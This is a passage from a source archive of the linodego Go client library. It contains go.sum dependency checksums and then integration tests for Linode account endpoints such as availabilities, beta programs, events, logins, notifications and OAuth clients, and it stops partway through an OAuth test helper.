h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I= github.com/google/gnostic-models v0.6.8/go.mod h1:5n7qKqH0f5wFt+aWF8CW6pZLLNOfYuF5OpfBSENuI8U= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1 h1:K6RDEckDVWvDI9JAJYCmNdQXq6neHJOYx3V6jnqNEec= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/imdario/mergo v0.3.6 h1:xTNEAn+kxVO7dTZGu0CegyqKZmoWFI0rF8UxjlB2d28= github.com/imdario/mergo v0.3.6/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/jarcoal/httpmock v1.2.0 h1:gSvTxxFR/MEMfsGrvRbdfpRUMBStovlSRLw0Ep1bwwc= github.com/jarcoal/httpmock v1.2.0/go.mod h1:oCoTsnAz4+UoOUIf5lJOWV2QQIW5UoeUI6aM2YnWAZk= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/maxatome/go-testdeep v1.11.0 h1:Tgh5efyCYyJFGUYiT0qxBSIDeXw0F5zSoatlou685kk= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3PzxT8aQXRPkAt8xlV/e7d7w8GM5g0fa5F0D8= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/onsi/ginkgo/v2 v2.9.4 h1:xR7vG4IXt5RWx6FfIjyAtsoMAtnc3C/rFXBBd2AjZwE= github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/net v0.20.0 h1:aCL9BSgETF1k+blQaYUBx9hJ9LOGP3gAVemcZlf1Kpo= golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= golang.org/x/oauth2 v0.8.0 h1:6dkIjl3j3LtZ/O3sTgZTMsLKSftL/B8Zgq4huOIIUu8= golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU= golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/term v0.16.0 h1:m+B6fahuftsE9qjo0VWp2FW0mB3MTJvR0BaMQrq0pmE= golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.8.0 h1:vSDcovVPld282ceKgDimkRSC8kpaH1dgyc9UMzlt84Y= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= k8s.io/api v0.28.1 h1:i+0O8k2NPBCPYaMB+uCkseEbawEt/eFaiRqUx8aB108= k8s.io/api v0.28.1/go.mod h1:uBYwID+66wiL28Kn2tBjBYQdEU0Xk0z5qF8bIBqk/Dg= k8s.io/apimachinery v0.28.1 h1:EJD40og3GizBSV3mkIoXQBsws32okPOy+MkRyzh6nPY= k8s.io/apimachinery v0.28.1/go.mod h1:X0xh/chESs2hP9koe+SdIAcXWcQ+RM5hy0ZynB+yEvw= k8s.io/client-go v0.28.1 h1:pRhMzB8HyLfVwpngWKE8hDcXRqifh1ga2Z/PU9SXVK8= k8s.io/client-go v0.28.1/go.mod h1:pEZA3FqOsVkCc07pFVzK076R+P/eXqsgx5zuuRWukNE= k8s.io/klog/v2 v2.100.1 h1:7WCHKK6K8fNhTqfBhISHQ97KrnJNFZMcQvKp7gP/tmg= k8s.io/klog/v2 v2.100.1/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0= k8s.io/kube-openapi v0.0.0-20230717233707-2695361300d9 h1:LyMgNKD2P8Wn1iAwQU5OhxCKlKJy0sHc+PcDwFB24dQ= k8s.io/kube-openapi v0.0.0-20230717233707-2695361300d9/go.mod h1:wZK2AVp1uHCp4VamDVgBP2COHZjqD1T68Rf0CM3YjSM= k8s.io/utils v0.0.0-20230406110748-d93618cff8a2 h1:qY1Ad8PODbnymg2pRbkyMT/ylpTrCM8P2RJ0yroCyIk= k8s.io/utils v0.0.0-20230406110748-d93618cff8a2/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0= sigs.k8s.io/structured-merge-diff/v4 v4.2.3 h1:PRbqxJClWWYMNV1dhaG4NsibJbArud9kFxnAMREiWFE= sigs.k8s.io/structured-merge-diff/v4 v4.2.3/go.mod h1:qjx8mGObPmV2aSZepjQjbmb2ihdVs8cGKBraizNC69E= sigs.k8s.io/yaml v1.3.0 h1:a2VclLzOGrwOHDiV8EfBGhvjHvP46CtW5j6POvhYGGo= sigs.k8s.io/yaml v1.3.0/go.mod h1:GeOyir5tyXNByN85N/dRIT9es5UQNerPYEKK56eTBm8= golang-github-linode-linodego-1.28.0/test/integration/000077500000000000000000000000001455402072200227025ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/account_availability_test.go000066400000000000000000000020141455402072200304530ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountAvailability_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountAvailability_List") defer teardown() availabilities, err := client.ListAccountAvailabilities(context.Background(), &linodego.ListOptions{}) if err != nil { t.Errorf("Error getting Account Availabilities, expected struct, got error %v", err) } if len(availabilities) == 0 { t.Errorf("Expected to see account availabilities returned.") } } func TestAccountAvailability_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountAvailability_Get") defer teardown() regionID := "us-east" availability, err := client.GetAccountAvailability(context.Background(), regionID) if err != nil { t.Errorf("Error getting Account Availability, expected struct, got error %v", err) } if availability.Region != regionID { t.Errorf("expected region ID to be %s; got %s", regionID, availability.Region) } } golang-github-linode-linodego-1.28.0/test/integration/account_betas_test.go000066400000000000000000000024461455402072200271100ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountBetaPrograms(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountBetaPrograms") defer teardown() betas, err := client.ListBetaPrograms(context.Background(), linodego.NewListOptions(1, "")) if len(betas) == 0 { t.Log("No beta program is available during the test.") return } createOpts := linodego.AccountBetaProgramCreateOpts{ID: betas[0].ID} _, err = client.JoinBetaProgram(context.Background(), createOpts) if err != nil { t.Errorf("Error joining a Beta program, expected struct, got error %v", err) } accountBetas, err := client.ListAccountBetaPrograms(context.Background(), &linodego.ListOptions{}) if err != nil { t.Errorf("Error getting Account Beta programs, expected struct, got error %v", err) } if len(accountBetas) == 0 { t.Errorf("Expected to see account beta program returned.") } else { assertDateSet(t, accountBetas[0].Enrolled) betaID := accountBetas[0].ID beta, err := client.GetAccountBetaProgram(context.Background(), betaID) if err != nil { t.Errorf("Error getting an Account Beta program, expected struct, got error %v", err) } if beta.ID != betaID { t.Errorf("expected beta ID to be %s; got %s", betaID, beta.ID) } } } golang-github-linode-linodego-1.28.0/test/integration/account_events_test.go000066400000000000000000000025471455402072200273200ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountEvents_List(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestAccountEvents_List") defer teardown() if err != nil { t.Error(err) } configOpts := linodego.InstanceConfigCreateOptions{ Label: "test-config", } instanceConfig, err := client.CreateInstanceConfig(context.Background(), instance.ID, configOpts) if err != nil { t.Error(err) } f := linodego.Filter{} f.AddField(linodego.Eq, "entity.id", instance.ID) f.AddField(linodego.Eq, "entity.type", "linode") f.AddField(linodego.Eq, "action", "linode_config_create") filter, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } events, err := client.ListEvents(context.Background(), &linodego.ListOptions{Filter: string(filter)}) if err != nil { t.Errorf("Error getting Events, expected struct, got error %v", err) } if len(events) == 0 { t.Errorf("Expected to see at least one event") } else { event := events[0] assertDateSet(t, event.Created) if event.SecondaryEntity == nil { t.Errorf("Expected Secondary Entity to be set") } else if event.SecondaryEntity.Label != instanceConfig.Label { t.Errorf("Expected Secondary Entity label to be '%s', got '%s'", instanceConfig.Label, event.SecondaryEntity.Label) } } } golang-github-linode-linodego-1.28.0/test/integration/account_logins_test.go000066400000000000000000000015101455402072200272740ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestAccountLogins_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountLogins_List") defer teardown() logins, err := client.ListLogins(context.Background(), nil) if err != nil { t.Errorf("Error getting Account Logins, expected struct, got error %v", err) } if len(logins) < 1 { t.Errorf("Expected to see at least one Account Login") } login := logins[0] response, err := client.GetLogin(context.Background(), login.ID) if err != nil { t.Errorf("Failed to get one Account Login: %v", err) } if response.Username != login.Username { t.Fatal("Recieved Account Login Username does not match source") } if response.Status != "successful" && response.Status != "failed" { t.Fatal("Recieved invalid Account Login Status") } } golang-github-linode-linodego-1.28.0/test/integration/account_notifications_test.go000066400000000000000000000007201455402072200306540ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestAccountNotifications_List(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestAccountNotifications_List") defer fixtureTeardown() listOpts := linodego.NewListOptions(0, "") _, err := client.ListNotifications(context.Background(), listOpts) if err != nil { t.Errorf("Error listing notifications, expected array, got error %v", err) } } golang-github-linode-linodego-1.28.0/test/integration/account_oauth_client_test.go000066400000000000000000000047741455402072200304760ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" . "github.com/linode/linodego" ) func TestOAuthClient_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestOAuthClient_GetMissing") defer teardown() i, err := client.GetOAuthClient(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing oauthClient, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing oauthClient, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing oauthClient, got %v", e.Code) } } func TestOAuthClient_GetFound(t *testing.T) { createOpts := linodego.OAuthClientCreateOptions{ Public: true, RedirectURI: "https://example.com", Label: "go-client-test", } client, oauthClient, teardown, err := setupOAuthClient(t, createOpts, "fixtures/TestOAuthClient_GetFound") defer teardown() if err != nil { t.Error(err) } i, err := client.GetOAuthClient(context.Background(), oauthClient.ID) if err != nil { t.Errorf("Error getting oauthClient, expected struct, got %v and error %v", i, err) } if i.Label != createOpts.Label { t.Errorf("Expected a specific oauthClient, but got a different one %v", i) } } func TestOAuthClients_List(t *testing.T) { createOpts := linodego.OAuthClientCreateOptions{ Public: true, RedirectURI: "https://example.com", Label: "go-client-test", } client, _, teardown, err := setupOAuthClient(t, createOpts, "fixtures/TestOAuthClients_List") defer teardown() if err != nil { t.Error(err) } i, err := client.ListOAuthClients(context.Background(), nil) if err != nil { t.Errorf("Error listing oauthClients, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of oauthClients, but got none %v", i) } } func setupOAuthClient(t *testing.T, createOpts linodego.OAuthClientCreateOptions, fixturesYaml string) (*linodego.Client, *linodego.OAuthClient, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) oauthClient, err := client.CreateOAuthClient(context.Background(), createOpts) if err != nil { t.Errorf("Error creating test OAuthClient: %s", err) } teardown := func() { if err := client.DeleteOAuthClient(context.Background(), oauthClient.ID); err != nil { t.Errorf("Error deleting test OAuthClient: %s", err) } fixtureTeardown() } return client, oauthClient, 